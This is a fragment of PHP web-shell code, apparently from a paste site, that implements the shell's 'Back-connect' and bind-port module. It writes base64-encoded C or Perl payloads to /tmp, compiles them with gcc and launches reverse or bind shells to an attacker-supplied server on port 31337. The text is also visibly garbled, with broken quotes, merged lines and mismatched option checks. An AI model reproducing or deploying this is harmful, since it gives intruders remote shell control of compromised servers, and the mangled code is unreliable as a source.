- <span>Back-connect to</span><br/>
- Server: <input type='text' name='server' value=". $_SERVER['REMOTE_ADDR'] ."> Port: <input type='text' name='port' value='31337'> Using: <label><select name='p1'ng'><option value='bcc'>C</option><option value='bcp'>Perl</option></select></label> <input type=submit value='submit'>
- </form><br>";
- function cf($f,$t) {
- if($w) {
- @fwrite($w,@base64_decode($t)) or @fputs($w,@base64_decode($t)) or @file_put_contents($f,@base64_decode($t));
- }
- }
- if($_POST['p1'] == 'bpc') {
- cf("/tmp/bp.c",$bind_port_c);
- $▖ = ex("gcc -o /tmp/bp /tmp/bp.c");
- $▖ .= ex(",$bind_port_p);
- $▖ = ex(which("'p3']." &");
- echo "<pre class=ml1>$▖".ex("ps aux | grep bp")."</pre>"ps aux | grep bp.pl"1'] == 'bpp') {
- cf("/tmp/bp.pl",$bind_port_p);
- $▖ = ex(which("perl")." /tmp/bp.pl ".$_POST['p2']." &");
- echo "<pre class=ml1>$▖".ex("ps aux | grep bp.pl").".$_POST['p2']."if($_POST['p3'] == 'bcc') {
- cf("/tmp/bc.c",$back_connect_c);
- $▖ = ex("gcc -o /tmp/bc /tmp/bc.c");
- $▖ .= ex("/tmp/bc ".$_POST['p2']." ".$_POST['p3']." &");
- echo "<pre class=ml1>$▖".ex("ps aux | grep bc")."</pre>";
- }
- if($_POST['p1'] == 'bcp') {
- cf("/tmp/bc.pl",$back_connect_p);
- $▖ = ex(which("perl")." /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." &");
- echo "<pre class=ml1>$▖".ex("ps aux | grep bc.pl")."</pre>";
- }
- }
- echo '</div>';
- hardFooter();
- }
Raw Paste